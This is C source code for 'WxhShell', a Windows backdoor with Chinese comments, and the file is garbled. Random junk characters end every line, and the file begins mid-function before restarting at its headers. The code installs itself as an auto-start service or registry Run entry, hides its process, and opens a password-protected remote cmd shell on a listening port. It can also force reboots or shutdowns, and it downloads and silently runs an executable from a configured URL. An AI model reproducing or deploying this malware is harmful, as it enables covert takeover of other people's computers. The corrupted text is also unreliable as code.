    else { #lAC:>s3U  
    closesocket(wsh); _PT5  
    ExitThread(0); g)$/'RB  
    } \]C_ul'  
    break; "uCO?hv0  
    } -V g(aD  
  // 获取shell B@cC'F#G  
  case 's': { bGw56s'R5~  
    CmdShell(wsh); `_aX>fw  
    closesocket(wsh); ICck 0S!  
    ExitThread(0); A0hKzj  
    break; 6$CwH!42F  
  } (P!r^87  
  // 退出 DW( /[jo\  
  case 'x': { F+o4f3N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %,T=|5  
    CloseIt(wsh); M[  {O%!  
    break; YI+ clh;%9  
    } F>Pr`T?>  
  // 离开 -t]3 gCLb  
  case 'q': { lXtsnQOOK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); riR(CJ}Ff  
    closesocket(wsh); LMKhtOZ?  
    WSACleanup(); 5aj%<r  
    exit(1); I3gl+)Q  
    break; hL4T7`  
        } Hg&.U;n  
  } L0l'4RRm\  
  } ]K?;XA3dZ  
{wy{L-X  
  // 提示信息 >?<S(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tp46K\}Uf  
} QB uX#bDV  
  } Emy=q5ryl  
b?{MXJ|  
  return; QPX&P{!g  
} cwuzi;f  
= 6Fpixq>  
// shell模块句柄 )ifjK6*  
int CmdShell(SOCKET sock) RW{y.WhB  
{ U$yy7}g  
STARTUPINFO si; E1r-$gf_  
ZeroMemory(&si,sizeof(si)); }7non  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b5Q|$E   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M"Dv -#f  
PROCESS_INFORMATION ProcessInfo; L4DT*(;!E  
char cmdline[]="cmd"; M*!WXQlud  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xX f,j#`"  
  return 0; Ii9[[I  
} F f{,zfN+3  
<%o9*)F  
// 自身启动模式 dGyrzuPJ  
int StartFromService(void) K| dI'TnW  
{ 44NM of8N  
typedef struct ]d67 HOyK  
{ 1rx, qfCq  
  DWORD ExitStatus; "uli~ {IU  
  DWORD PebBaseAddress; xi51,y+(5  
  DWORD AffinityMask; =cpUc]~  
  DWORD BasePriority; },n?  
  ULONG UniqueProcessId; Xh}S_/9}5  
  ULONG InheritedFromUniqueProcessId; lZAXDxhnT  
}   PROCESS_BASIC_INFORMATION; =oBlUE  
/#WvC;B  
PROCNTQSIP NtQueryInformationProcess; V7b;qC'  
]_BH"ng}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q,K$)bM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _9g-D9  
O8 OAXRt/Y  
  HANDLE             hProcess; (xfh 9=.  
  PROCESS_BASIC_INFORMATION pbi; ;FQNO:NP  
NbC2N)L4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +4$][3.  
  if(NULL == hInst ) return 0; @XJ#oxM^  
C}#$wge  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~NZL~p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;j.-6#n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @9eN\b%I^H  
cYp/? \  
  if (!NtQueryInformationProcess) return 0; Ngj&1Ta&[  
yR? ./M!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M8V c5  
  if(!hProcess) return 0; h!@7'Q  
Jd^Lnp6?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T|8:_4/l  
@@j:z;^|  
  CloseHandle(hProcess); iC3C~?,7  
|Fz ^(US  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o$eo\X?J?  
if(hProcess==NULL) return 0; QChncIqc  
l?QA;9_R'  
HMODULE hMod; +OqEe[Wk#  
char procName[255]; 8>@JW]  
unsigned long cbNeeded; jST4O"DjM  
#dKy{Q3he  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vm8@ LA  
eF]8Ar1  
  CloseHandle(hProcess); R# T 6]  
`Xz!apA  
if(strstr(procName,"services")) return 1; // 以服务启动 $*VZa3B\  
06O_!"GD}  
  return 0; // 注册表启动 > 23$_'2  
} *|<T@BXn  
r<'DS9m  
// 主模块 #}Yrxf  
int StartWxhshell(LPSTR lpCmdLine) J%-4ZB"  
{ {G0=A~  
  SOCKET wsl; X;H\u6-|>6  
BOOL val=TRUE; NXQ=8o9,9  
  int port=0;  IMr#5  
  struct sockaddr_in door; XmD(&3;v-  
?2l `%l5(  
  if(wscfg.ws_autoins) Install(); {nXygg J  
Cdy,8*   
port=atoi(lpCmdLine); LPBa!fq  
Ui!l3_O  
if(port<=0) port=wscfg.ws_port; tAE(`ow/Ur  
5JhvYsf3_  
  WSADATA data; HdgNy\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x!fG%o~h  
QyxUK}6mr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?m5E Xe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `!t-$i  
  door.sin_family = AF_INET; Q5ff&CE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JOpH Z?  
  door.sin_port = htons(port); (BFwE@1"  
~;?<OOt|wG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pmUf*u-  
closesocket(wsl); YGC%j  
return 1; r<vy6  
} VP>*J`'H  
PxgJ7d  
  if(listen(wsl,2) == INVALID_SOCKET) { a _+?#m  
closesocket(wsl); `vMhrn  
return 1; y+T[="W  
} ~uH_y-  
  Wxhshell(wsl); S :8  
  WSACleanup(); 70GBf"  
nj0sh"~+  
return 0; l 9 wO x  
$,2T~1tE  
} PcEE`.  
4xEw2F  
// 以NT服务方式启动 lyX3'0c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vi:^bv  
{ C+uW]]~I)  
DWORD   status = 0; .=9WY_@SZ  
  DWORD   specificError = 0xfffffff; BGBHA"5fz  
mM72>1~L*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EwX&Cj".  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |dqHpogh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vue^bn  
  serviceStatus.dwWin32ExitCode     = 0; * eC[74Kng  
  serviceStatus.dwServiceSpecificExitCode = 0; /ZD6pF  
  serviceStatus.dwCheckPoint       = 0; =$Mf:F@  
  serviceStatus.dwWaitHint       = 0; uf9 0  
GkX Se)#p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *Q^ z4UY  
  if (hServiceStatusHandle==0) return; ) jH`lY)1  
| bz%SB  
status = GetLastError(); >9rZV NMU  
  if (status!=NO_ERROR) }a$.ngP  
{ F^'$%XKV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YO.+-(   
    serviceStatus.dwCheckPoint       = 0; 3q}j"x?  
    serviceStatus.dwWaitHint       = 0; fCx (  
    serviceStatus.dwWin32ExitCode     = status; \OA{&G.  
    serviceStatus.dwServiceSpecificExitCode = specificError; VO8rd>b4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t|eH'"N%o  
    return; EC;>-s  
  } _ Lb"yug  
gr*CN<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7n6g;8xE  
  serviceStatus.dwCheckPoint       = 0; k1q/L|')  
  serviceStatus.dwWaitHint       = 0; hp)^s7H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cl`i|cF\  
} _yv#v_Z  
J _;H  
// 处理NT服务事件,比如:启动、停止 {?eUAB<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <kdlXS>J.  
{ 3}<U'%sd  
switch(fdwControl) [p9v#\G; [  
{ W\k8f+Ke  
case SERVICE_CONTROL_STOP: ?:J_+? {E  
  serviceStatus.dwWin32ExitCode = 0; VwE4:/7YN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HKXC=^}x'  
  serviceStatus.dwCheckPoint   = 0; D<;~eZ'  
  serviceStatus.dwWaitHint     = 0; <;S$4tux  
  { o]4\Geg$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQ&N]P2p  
  } B6Kl_~gT  
  return; U_(>eVi7F  
case SERVICE_CONTROL_PAUSE: qU7_%Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  >Ua'*  
  break; ^sD M>OHp  
case SERVICE_CONTROL_CONTINUE: 2Qp}f^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mg.%&vH\  
  break; N! 7}B  
case SERVICE_CONTROL_INTERROGATE: k?14'X*7yu  
  break; Q !;syJBb.  
}; RyJy%| \-S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xKG7d8=  
} );h(D!D,  
3NgXM  
// 标准应用程序主函数 ^PTf8o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bi:lC5d5?  
{ din,yHu~  
?b,>+v-w::  
// 获取操作系统版本 3T)rJEN A  
OsIsNt=GetOsVer(); }yEV&& @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w'2FYe{wj  
J+`aj8_B  
  // 从命令行安装 ixu*@{<Z(  
  if(strpbrk(lpCmdLine,"iI")) Install(); y|}~"^+T  
qT@h/Y  
  // 下载执行文件 |nZ^RCHog  
if(wscfg.ws_downexe) { aDK b78 1d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) </{Zb.  
  WinExec(wscfg.ws_filenam,SW_HIDE); +7 H)s  
} qh~bX i!  
q++r\d^{  
if(!OsIsNt) { 2K91E}  
// 如果时win9x,隐藏进程并且设置为注册表启动 #[#evlr=  
HideProc(); ,Y/B49  
StartWxhshell(lpCmdLine); AU$~Ap*rsa  
} [yXmnrxA  
else f1MRmp-f'  
  if(StartFromService()) TVD~Ix  
  // 以服务方式启动 sllT1%?  
  StartServiceCtrlDispatcher(DispatchTable); "l56?@-x  
else `N *:,8j  
  // 普通方式启动 -I|xW  
  StartWxhshell(lpCmdLine); 0 N,<v7PX  
s1D<R,J|H  
return 0; ={O ~  
} :Z//  
 vmqa_gU\  
@'R)$:I%L  
{Yj5Mj|#  
=========================================== m1X7zUCy  
&u.{]Yjx  
\)6glAtN  
x%}D+2ro-t  
u#@/^h;  
W`;;fJe  
" kh W.  
zeHF-_{  
#include <stdio.h> U>E: Ub0r  
#include <string.h> Jj-\Eb?  
#include <windows.h> 5?k5J\+  
#include <winsock2.h> <k:I2LF_  
#include <winsvc.h> I\. |\^  
#include <urlmon.h> 5naFnm7%  
:<qe2Z5k  
#pragma comment (lib, "Ws2_32.lib") *,\"}x*  
#pragma comment (lib, "urlmon.lib") @V%\Gspv  
qT$k%(  
#define MAX_USER   100 // 最大客户端连接数 c@t?R$c  
#define BUF_SOCK   200 // sock buffer Ga7E}y%  
#define KEY_BUFF   255 // 输入 buffer >|QH I d8  
OIrm9D #  
#define REBOOT     0   // 重启 f$o^Xu  
#define SHUTDOWN   1   // 关机 Sa= tiOv  
N(&{~*YE  
#define DEF_PORT   5000 // 监听端口 f^$,;  
Hf`i~6  
#define REG_LEN     16   // 注册表键长度 c{=Sy;i@  
#define SVC_LEN     80   // NT服务名长度 $o[-xNn1  
J/je/PC  
// 从dll定义API }>xwiSF?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,X?/FAcb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rVz.Ws#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ED&nrd1P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C?z S}ob  
QtW9!p7(  
// wxhshell配置信息 !#KKJ`uB"  
struct WSCFG { ku]5sd >b  
  int ws_port;         // 监听端口 cc[(w #K  
  char ws_passstr[REG_LEN]; // 口令 ipv5JD[  
  int ws_autoins;       // 安装标记, 1=yes 0=no =w$&n%~  
  char ws_regname[REG_LEN]; // 注册表键名 ,{_i{WV  
  char ws_svcname[REG_LEN]; // 服务名 pDR~SxBXr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O?e9wI=H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UR sx>yx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *dBeb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3(BL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z=JKBoAY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Q1*Vh4  
5)#j}`6  
}; pR S!  
V:n0BlZ,B  
// default Wxhshell configuration a"vzC$Hxd  
struct WSCFG wscfg={DEF_PORT, v)5;~.+%  
    "xuhuanlingzhe", [6!k:-t+  
    1, $Rm~ VwY#  
    "Wxhshell", Fw<"]*iu  
    "Wxhshell", @Q74  
            "WxhShell Service", *S;}&VAZ  
    "Wrsky Windows CmdShell Service", 7V"?o  
    "Please Input Your Password: ", W'./p"2g  
  1, @>8(f#S%  
  "http://www.wrsky.com/wxhshell.exe", 7Nq< o5  
  "Wxhshell.exe" >tM4|w|  
    }; @;/Pl>$|'G  
\ "O5li3n  
// 消息定义模块 46C%at M0}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Q|>k )H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WcN4ff-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :aNjh  
char *msg_ws_ext="\n\rExit."; =6sP`:  
char *msg_ws_end="\n\rQuit."; 7[m+r:y  
char *msg_ws_boot="\n\rReboot..."; ,>j3zjf^  
char *msg_ws_poff="\n\rShutdown..."; xs"i_se  
char *msg_ws_down="\n\rSave to "; h"`\'(,X  
Yk Ku4f  
char *msg_ws_err="\n\rErr!"; 'LYDJ~  
char *msg_ws_ok="\n\rOK!"; k1B ](@xt  
!1$x4 qxS  
char ExeFile[MAX_PATH]; %KQ1{"  
int nUser = 0; IK -vcG  
HANDLE handles[MAX_USER]; {<-s&%/r  
int OsIsNt; :\;9y3  
&f.5:u%{b  
SERVICE_STATUS       serviceStatus; @@ Q4{o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zIc6L3w$  
7P{= Pv+  
// 函数声明 6r~9$IM  
int Install(void); q%3VcR$J  
int Uninstall(void); w~]2c{\Qz  
int DownloadFile(char *sURL, SOCKET wsh); %S312=w  
int Boot(int flag); u3h(EAH>  
void HideProc(void); g0,~|.  
int GetOsVer(void); 7Jb&~{DVk  
int Wxhshell(SOCKET wsl); $[T ~<I  
void TalkWithClient(void *cs); uX7L1~s-  
int CmdShell(SOCKET sock); FWW4n_74  
int StartFromService(void); :w^:Z$-hf  
int StartWxhshell(LPSTR lpCmdLine); Q7+WV`&  
KMhrw s{&B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7ZUN;mr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0F$|`v"0  
nDrRK  
// 数据结构和表定义 RZz?_1'  
SERVICE_TABLE_ENTRY DispatchTable[] = iA[T'+.Y  
{ uz3cho'  
{wscfg.ws_svcname, NTServiceMain}, Y9abRr K  
{NULL, NULL} lU1SN/'zx  
}; e@hPb$7  
>@N.jw>#T  
// 自我安装 1]} \h]*  
int Install(void) ]5'*^rz ^  
{ _c]}m3/  
  char svExeFile[MAX_PATH]; =-dnniKW4  
  HKEY key; DFr$2Y3H  
  strcpy(svExeFile,ExeFile); Zr}>>aIJ]k  
amsl>wc!  
// 如果是win9x系统,修改注册表设为自启动 U N?tn}`!  
if(!OsIsNt) { TXB!Y!RG#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z_ElLY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \%r#>8c8  
  RegCloseKey(key); +:Zwo+\kSN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /M5.Z~|/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SlsNtaNt  
  RegCloseKey(key); -l=C7e  
  return 0; HG7Qdw2+O  
    } +C=vuR  
  } oCo~,~kTR  
} /IirTmFK  
else { RY5e%/bg~U  
Dk\%,[4(  
// 如果是NT以上系统,安装为系统服务 )=)N9CRy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &^ERaPynd  
if (schSCManager!=0) B} qRz  
{ Gr({30"8  
  SC_HANDLE schService = CreateService Yyk~!G/@  
  ( sD3Ts;k  
  schSCManager, }Z <I%GT  
  wscfg.ws_svcname, 1^k}GXsWmE  
  wscfg.ws_svcdisp, l<_v3/3  
  SERVICE_ALL_ACCESS, !+$qSD,%x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !MSa -  
  SERVICE_AUTO_START, i%yKyfD  
  SERVICE_ERROR_NORMAL, n[/D>Pi  
  svExeFile, Yte*$cJ=  
  NULL, 8 8u[s@  
  NULL, QmBHD;Gf  
  NULL, t(}Y/'  
  NULL, #|\|G3Si %  
  NULL WGV]O|  
  ); 0+0 Y$;<  
  if (schService!=0) wW TuEM  
  { PCCE+wC6  
  CloseServiceHandle(schService); X}B] 5  
  CloseServiceHandle(schSCManager); @.e4~qz\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 42 `Uq[5Y  
  strcat(svExeFile,wscfg.ws_svcname); xEG:KSH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { py$Gy-I~[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }ll&EB  
  RegCloseKey(key); ccv  
  return 0; 0yjYjIk"T  
    } []OS p&  
  } F]OWqUV  
  CloseServiceHandle(schSCManager); `@ Z$+  
} xgOt%7sb  
} K81FKV.  
!@V]H  
return 1; s\'t=}0q  
} 41R~.?  
""`z3-  
// 自我卸载 qA}l[:F+#  
int Uninstall(void) S*r }oX0  
{ dhLd2WSyH  
  HKEY key; tT`S" 9T  
aaVq>$G 3  
if(!OsIsNt) { L <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s#~VN;-I  
  RegDeleteValue(key,wscfg.ws_regname); :Nz TEK  
  RegCloseKey(key); %m|BXyf]_B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @>`N%wH'  
  RegDeleteValue(key,wscfg.ws_regname); FkMM>X  
  RegCloseKey(key); OfLj 4H 6Q  
  return 0; 6T"5,Q</h  
  } d3oRan}z  
} )m-(-I  
} } %3;j5 ;6  
else { 9 'X"a  
N#J8 4i;ry  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l2#~   
if (schSCManager!=0) 6hcs )X7m  
{ #E4oq9{0*W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z'AjeZyyE  
  if (schService!=0) "<oR.f=0  
  { i&HU7mP/  
  if(DeleteService(schService)!=0) { =)#XZ[#F  
  CloseServiceHandle(schService); B"7~[,he  
  CloseServiceHandle(schSCManager); uxW |&q  
  return 0; $y)tcVc  
  } %i&am=  
  CloseServiceHandle(schService); MDpx@.A,  
  } +MS*YpPW  
  CloseServiceHandle(schSCManager); fN`Prs A  
} z#5qI',L  
} Ow0~sFz  
T+V:vuK  
return 1; 5=s|uuw/  
} #,j m3M qj  
3&X5*-U  
// 从指定url下载文件 'fb&3  
int DownloadFile(char *sURL, SOCKET wsh) ]<},[s  
{ 7CT446  
  HRESULT hr; .j!:Hp(z}  
char seps[]= "/"; gd)VL}k  
char *token; 5"#xbvRS0H  
char *file; %)}_OXWf:  
char myURL[MAX_PATH]; ZA4sEVHW  
char myFILE[MAX_PATH]; ^]LWcJ?"^!  
CIR2sr0a  
strcpy(myURL,sURL); h#h)=;  
  token=strtok(myURL,seps); Ud-c+, xX  
  while(token!=NULL) B)DtJ f  
  { wh]v{Fi'  
    file=token; <.|]%7  
  token=strtok(NULL,seps); voN,u>U  
  } NS4W!o;"  
T.!.3B$@]  
GetCurrentDirectory(MAX_PATH,myFILE); :2L-Nf  
strcat(myFILE, "\\"); `?N|{kb  
strcat(myFILE, file); mqQ//$Y   
  send(wsh,myFILE,strlen(myFILE),0); <XpG5vV  
send(wsh,"...",3,0); AQ-R^kT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BBoVn^Z*R  
  if(hr==S_OK) (.M &nN'Ce  
return 0; gA+@p'XnR  
else Jl) Q #  
return 1; 5X`m.lhUc  
Oi!uJofW  
} ^O5PcV3Eg  
()$tP3 o  
// 系统电源模块 w3Qil[rg  
int Boot(int flag) h*NBSvn  
{ X{5(i3?S  
  HANDLE hToken; #w[Ie+  
  TOKEN_PRIVILEGES tkp; 0Q/BTT%X  
S#D6mg$Z,  
  if(OsIsNt) { JOq&(AZe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dqL)q3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); grCz@i  
    tkp.PrivilegeCount = 1; yzCamm4~0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5DeAH ;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,|R\ Z,s  
if(flag==REBOOT) { !uHVg(}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /vPcg  
  return 0; ID=^497  
} W GMEZx  
else { %xwdH4 _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PwxRu  
  return 0; BG20R=p  
} s4\_%je<v  
  } \N]2V(v  
  else { [1`&\C_E  
if(flag==REBOOT) { <yE d'Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pL'+sW  
  return 0; OEgp!J  
} &q[`lIV,L  
else { )mXu{uowr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l:VcV  
  return 0; g"v-hTx  
} G C3G=DTt  
} k'{Bhi4  
=qTmFszT  
return 1; dxeLu  
} >uDE<MUC  
Bt-2S,c,o  
// win9x进程隐藏模块 zC\L-i>G  
void HideProc(void) !.5,RIf  
{  F| O  
}7|UA%xz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lxD~[e  
  if ( hKernel != NULL ) LZ*ZXFIg  
  { ^b`aO$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w ]$Hr   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vZt48g  
    FreeLibrary(hKernel); H(j983  
  } 0W >,RR)  
DlbNW& V  
return; w57D qG>  
} T|Fl$is  
8d"Ff  
// 获取操作系统版本 (E?X@d iu  
int GetOsVer(void) L,wEUI  
{ ^NiS7)FX  
  OSVERSIONINFO winfo; %FO# j6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tf?|*P  
  GetVersionEx(&winfo); LYyOcb[x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &,~Oi(SX5  
  return 1; ;JQ;LbEn  
  else ]eZrb%B .  
  return 0; EAXbbcV  
} 1$ C\ `  
\B~}s}  
// 客户端句柄模块 ?T <2Cl'C  
int Wxhshell(SOCKET wsl) u IGeSd5B  
{ le J\  
  SOCKET wsh; =6:>C9  
  struct sockaddr_in client; $Q< >M B7  
  DWORD myID; <C,lHt  
 - }9a%  
  while(nUser<MAX_USER) &C=[D_h  
{ ^8eu+E.{  
  int nSize=sizeof(client); [kyIF\0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RwptFO  
  if(wsh==INVALID_SOCKET) return 1; f& >[$zh  
8!(09gW'>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E;AOCbV*$  
if(handles[nUser]==0) JQ)w/@Vu=  
  closesocket(wsh); xF8^#J6>  
else 0'0GAh2  
  nUser++; jou741  
  } f/NfvLi(AU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m3E`kW |  
j>-O'CO  
  return 0; 7[?{wbq  
} YE5B^sQ1  
q t!0#z8  
// 关闭 socket 1z$K54Mj  
void CloseIt(SOCKET wsh) P4S]bPIp  
{ ^6(Nu|6\@  
closesocket(wsh); @is!VzE  
nUser--; [=q&5'FY0  
ExitThread(0); ^J-\s_)"  
} SV0h'd(b  
UiLiy?EJ  
// 客户端请求句柄 5ps7)]  
void TalkWithClient(void *cs) B6#^a  
{ J}'a|a@bk  
rsgTd\b  
  SOCKET wsh=(SOCKET)cs; 8\/$cP"<^  
  char pwd[SVC_LEN]; $(8CU$gi=  
  char cmd[KEY_BUFF]; I=G-(L/&  
char chr[1]; "MNI_C#{  
int i,j; <@z!kl  
S)$iHBx{  
  while (nUser < MAX_USER) { E\Et,l#|LY  
AeN$AqQd/  
if(wscfg.ws_passstr) { 7 I`8r2H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {N2MskK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 84}Pu%  
  //ZeroMemory(pwd,KEY_BUFF); 78fFAN`  
      i=0; \&Zp/;n  
  while(i<SVC_LEN) { -- chU5  
+1o4l i  
  // 设置超时 KrDG  
  fd_set FdRead; # %$U-ti  
  struct timeval TimeOut; A, ;V|jv9  
  FD_ZERO(&FdRead); M4`. [P4  
  FD_SET(wsh,&FdRead); /l&$B  
  TimeOut.tv_sec=8; nA?Ks!9T  
  TimeOut.tv_usec=0; mW&hUP Rx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z[~ph/^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gJC~$/2  
vlS+UFH0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O4.`N?Xq  
  pwd=chr[0]; 9`X}G`  
  if(chr[0]==0xd || chr[0]==0xa) { b>Em~NMu_  
  pwd=0; :[C"}m R1  
  break; o!-kwtw`l  
  } V>Vu)7  
  i++; f5ttQ&@FF  
    } y}bliN7;1e  
O~ ]3.b  
  // 如果是非法用户,关闭 socket Yfd0Np~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Li6RSeW  
} M!)~h<YL  
v%$c_'d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n/Fx2QC{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [;RO=  
{GP#/5$=  
while(1) { *'ffMnSZ  
gql^Inx<  
  ZeroMemory(cmd,KEY_BUFF); k ^(RSu<  
d$T856  
      // 自动支持客户端 telnet标准   3F ]30  
  j=0; 0hr4}FL8  
  while(j<KEY_BUFF) { dn}'B%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VkJBqRzBOa  
  cmd[j]=chr[0]; ;5PBZ<w  
  if(chr[0]==0xa || chr[0]==0xd) { f5o##ia7:  
  cmd[j]=0; @D@_PA)e(  
  break; .:/[%q{k  
  } dlJc~|  
  j++; FX,kmre3  
    } KqhE=2,  
O@-|_N*;K  
  // 下载文件 Sxzt|{  
  if(strstr(cmd,"http://")) { { d|lN:B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W|-<ekH_u  
  if(DownloadFile(cmd,wsh)) Q8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5BRZpCb  
  else #)b0&wyW6i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pof]9qE-y  
  } T7qE 2  
  else { Zv&<r+<g  
Mv\]uAT`  
    switch(cmd[0]) { *aaK_=w  
  &r0U9J  
  // 帮助 T6M=BkcP  
  case '?': { X 3q2XU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l:- <CbG  
    break; ~;/}D0k$x  
  } ^={s(B2  
  // 安装 "l[ c/q[  
